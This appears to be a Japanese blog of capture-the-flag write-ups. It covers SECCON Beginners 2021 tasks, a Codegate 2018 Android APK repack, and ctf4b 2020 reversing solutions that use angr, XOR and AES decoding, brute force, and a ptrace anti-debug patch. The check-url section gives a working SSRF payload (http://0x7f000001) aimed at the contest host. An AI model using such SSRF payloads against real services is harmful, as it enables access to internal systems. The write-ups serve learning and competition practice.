> git cat-file -p 4cbb035d2ff072127b4e22919485127d2273e88e
ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}

Flag: ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}

check-url (web)

http://0x7f000001 みたいなやつを投げつければflagを出してくれます。

https://check-url.quals.beginners.seccon.jp/?url=http://0x7f000001

Flag: ctf4b{5555rf_15_53rv3r_51d3_5up3r_54n171z3d_r3qu357_f0r63ry}

depixelization (misc)

力技。別にスクリプト書いても良かったけど、こっちの方が早そうだったんで。

f:id:m0pisec:20210523045551p:plain

Flag: ctf4b{1f_y0u_p1x_y0u_c4n_d3p1x}

全体を通した感想など

Crypto周りを担当してくれたprprhyt氏のWriteupも公開されています。こちらも是非お読みください。

atofaer.hatenablog.jp

去年は二問しか解けなかったReversingが全完できて、普通にはしゃいでしまいました。
(単に全完しただけでなく、全体的に問題が簡単というか自明だったと思えたのも成長を感じられて嬉しかったです。)
とはいえ、まだまだ自分はBeginnerレベルなので精進していかなければと思っています。
今後もRev頑張ります^~ :grin:
最後になりますが、チームメイトおよびスタッフの皆様、本当にありがとうございました! :bow:

Codegate CTF 2018 Preliminary : Welcome to droid

How to solve

> apktool d droid.apk

Edit AndroidManifest.xml to change the entry point to Main4Activity.

> apktool b .\droid\
> jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore [REDACTED]\mykey.keystore droid.apk ctf
> "[REDACTED]\zipalign.exe" -v 4 droid.apk droid2.apk

Run droid2.apk on Android emulator.

Flag

FLAG{W3_w3r3_Back_70_$3v3n7een!!!}

ctf4b 2020 Reversing 復習

明日ctf4b 2021やるらしいので去年の問題を復習する。

2021-09-21 : 再走しました (Link)

mask

やるだけ。

>>> import string
>>> enc_a = "atd4`qdedtUpetepqeUdaaeUeaqau"
>>> enc_b = "c`b bk`kj`KbababcaKbacaKiacki"
>>> enc_l = len(enc_a)
>>> for i in range(enc_l):
...     for char in string.printable:
...             if chr(ord(char) & 0x75) == enc_a[i] and chr(ord(char) & 0xeb) == enc_b[i]:
...                     flag.append(char)
...
>>> ''.join(flag)
'ctf4b{dont_reverse_face_mask}'

yakisoba

Ghidraで開いて、findしたいアドレスとavoidしたいアドレスを探す。

f:id:m0pisec:20210521134223p:plain

今回の場合、0x4006d2をfindしたくて、0x4006f7をavoidしたい。

>>> import angr
>>> p = angr.Project("./yakisoba")
WARNING | 2021-05-21 13:37:30,151 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.
>>> e = p.factory.entry_state()
>>> simgr = p.factory.simulation_manager(e)
>>> s = simgr.explore(find=0x4006d2, avoid=0x4006f7)
>>> s.found[0].posix.dumps(0)
b'ctf4b{sp4gh3tt1_r1pp3r1n0}\x00\xd9\xd9\xd9\xd9'

gh0st

流し見して、そういえばあったな~と懐かしみを感じつつ取り組むもGhostScriptなにもわからない状態に陥ったのでbruteで解きました。(語彙力baby) 効率カスですが、まあいいか!

>>> with open('output.txt','r') as f:
...     data = f.readline()
... 
>>> output = data[:-2].split(' ')
>>> import string
>>> import subprocess
>>> from subprocess import PIPE
>>> flag = 'ctf4b{'
>>> for i in range(6,len(output)):
...     for pchar in string.printable:
...             proc = subprocess.run("echo '{}' | gs ./chall.gs".format(flag+pchar), shell=True, stdout=PIPE, stderr=PIPE, text=True)
...             if proc.stdout[207:-2] == ' '.join(output[:i+1]):
...                     flag = flag + pchar
...                     print(flag)
...                     break
... 
ctf4b{s
ctf4b{st
ctf4b{st4
ctf4b{st4c
ctf4b{st4ck
ctf4b{st4ck_
ctf4b{st4ck_m
ctf4b{st4ck_m4
ctf4b{st4ck_m4c
ctf4b{st4ck_m4ch
ctf4b{st4ck_m4ch1
ctf4b{st4ck_m4ch1n
ctf4b{st4ck_m4ch1n3
ctf4b{st4ck_m4ch1n3_
ctf4b{st4ck_m4ch1n3_1
ctf4b{st4ck_m4ch1n3_1s
ctf4b{st4ck_m4ch1n3_1s_
ctf4b{st4ck_m4ch1n3_1s_4
ctf4b{st4ck_m4ch1n3_1s_4_
ctf4b{st4ck_m4ch1n3_1s_4_l
ctf4b{st4ck_m4ch1n3_1s_4_l0
ctf4b{st4ck_m4ch1n3_1s_4_l0t
ctf4b{st4ck_m4ch1n3_1s_4_l0t_
ctf4b{st4ck_m4ch1n3_1s_4_l0t_0
ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f
ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_
ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_f
ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fu
ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fun
ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fun!
ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fun!}

siblangs

まずBytecode Viewerで適当に眺めていたら es/o0i/challengeapp/nativemodule/ValidateFlagModule.class という怪しさの塊のアレを見つける。

f:id:m0pisec:20210521150543p:plain

コピペして適当に一部書き換えてこれを実行する。

import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.spec.GCMParameterSpec;
import javax.crypto.spec.SecretKeySpec;

class Solve {
    public static void main(String[] args) throws Exception {
        byte[] var3 = new byte[]{95, -59, -20, -93, -70, 0, -32, -93, -23, 63, -9, 60, 86, 123, -61, -8, 17, -113, -106, 28, 99, -72, -3, 1, -41, -123, 17, 93, -36, 45, 18, 71, 61, 70, -117, -55, 107, -75, -89, 3, 94, -71, 30};
        SecretKey secretKey = new SecretKeySpec("IncrediblySecure".getBytes(), 0, 16, "AES");
        Cipher var4 = Cipher.getInstance("AES/GCM/NoPadding");
        GCMParameterSpec var5 = new GCMParameterSpec(128, var3, 0, 12);
        var4.init(2, secretKey, var5);
        var3 = var4.doFinal(var3, 12, var3.length - 12);
        System.out.println(new String(var3));
    }
}

flagの後半らしきものを手に入れたので、前半も探す。
assets/index.android.bundle 以外に怪しそうな場所がなかったのでde4jsにかけて ctf4b で検索をかけると怪しいコードが出てくる。

            function v() {
                var t;
                (0, l.default)(this, v);
                for (var o = arguments.length, n = new Array(o), c = 0; c < o; c++) n[c] = arguments[c];
                return (t = y.call.apply(y, [this].concat(n))).state = {
                    flagVal: "ctf4b{",
                    xored: [34, 63, 3, 77, 36, 20, 24, 8, 25, 71, 110, 81, 64, 87, 30, 33, 81, 15, 39, 90, 17, 27]
                }, t.handleFlagChange = function (o) {
                    t.setState({
                        flagVal: o
                    })
                }, t.onPressValidateFirstHalf = function () {
                    if ("ios" === h.Platform.OS) {
                        for (var o = "AKeyFor" + h.Platform.OS + "10.3", l = t.state.flagVal, n = 0; n < t.state.xored.length; n++)
                            if (t.state.xored[n] !== parseInt(l.charCodeAt(n) ^ o.charCodeAt(n % o.length), 10)) return void h.Alert.alert("Validation A Failed", "Try again...");
                        h.Alert.alert("Validation A Succeeded", "Great! Have you checked the other one?")

xorかけてるだけなので、お手軽にflagをゲットする。

>>> xstr1 = [34, 63, 3, 77, 36, 20, 24, 8, 25, 71, 110, 81, 64, 87, 30, 33, 81, 15, 39, 90, 17, 27]
>>> xstr2 = "AKeyForios10.3"
>>> flag = ""
>>> for i in range(len(xstr1)):
...     flag = flag + chr(xstr1[i] ^ ord(xstr2[i % len(xstr2)]))
...
>>> flag
'ctf4b{jav4_and_j4va5cr'

と、いうわけでflagは ctf4b{jav4_and_j4va5cr1pt_3verywhere} です。

sneaky

実行すると謎な蛇ゲームがスタートした。ハイスコアを取れとのことなので、Ghidraを眺めるもよくわからず。gdbに投げると

Starting program: /home/mopisec/sneaky
[Attaching after process 95657 fork to child process 95661]
[New inferior 2 (process 95661)]
[Detaching after fork from parent process 95657]
[Inferior 1 (process 95657) detached]

Thread 2.1 "sneaky" received signal SIGSEGV, Segmentation fault.

アー、strace

mopisec@ubuntu-pc:~$ strace ./sneaky
・
・略
・
ptrace(PTRACE_ATTACH, 95701)            = 0
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=95701, si_uid=1000, si_status=SIGSTOP, si_utime=0, si_stime=0} ---
wait4(95701, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGSTOP}], 0, NULL) = 95701
ptrace(PTRACE_CONT, 95701, NULL, 0)     = 0
[{WIFEXITED(s) && WEXITSTATUS(s) == 0}], 0, NULL) = 95701
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=95701, si_uid=1000, si_status=0, si_utime=4, si_stime=4} ---
exit_group(0)                           = ?
+++ exited with 0 +++

出たなptrace。ptraceの位置をGhidraのSearch Memoryで探す。

b8  65  00       MOV        EAX ,0x65
0f  05           SYSCALL

が見つかればいいので、こんな感じで

f:id:m0pisec:20210521160530p:plain

見つけた。あとは参照元を何回か辿って、呼び出し元をnopにする。
(Ghidraでパッチを当てたらセグフォしたので、とりあえずIDAで。)

f:id:m0pisec:20210521172422p:plain

ptraceには対応したので、具体的にスコアを書き換えたいと思います。 aScoreDに格納するスコアはr13レジスタから参照されていて、[rbx+20h] からmov命令で何らかの値を格納していることがわかるため、スコアは [rbx+20h] に格納されていることが予想できます。

f:id:m0pisec:20210521173257p:plain

あとはgdbでコネコネして(適当に999999をスコアとして突っ込んで)

f:id:m0pisec:20210521174534p:plain

終わり。

感想

楽しかった!!!
明日は頑張ろう。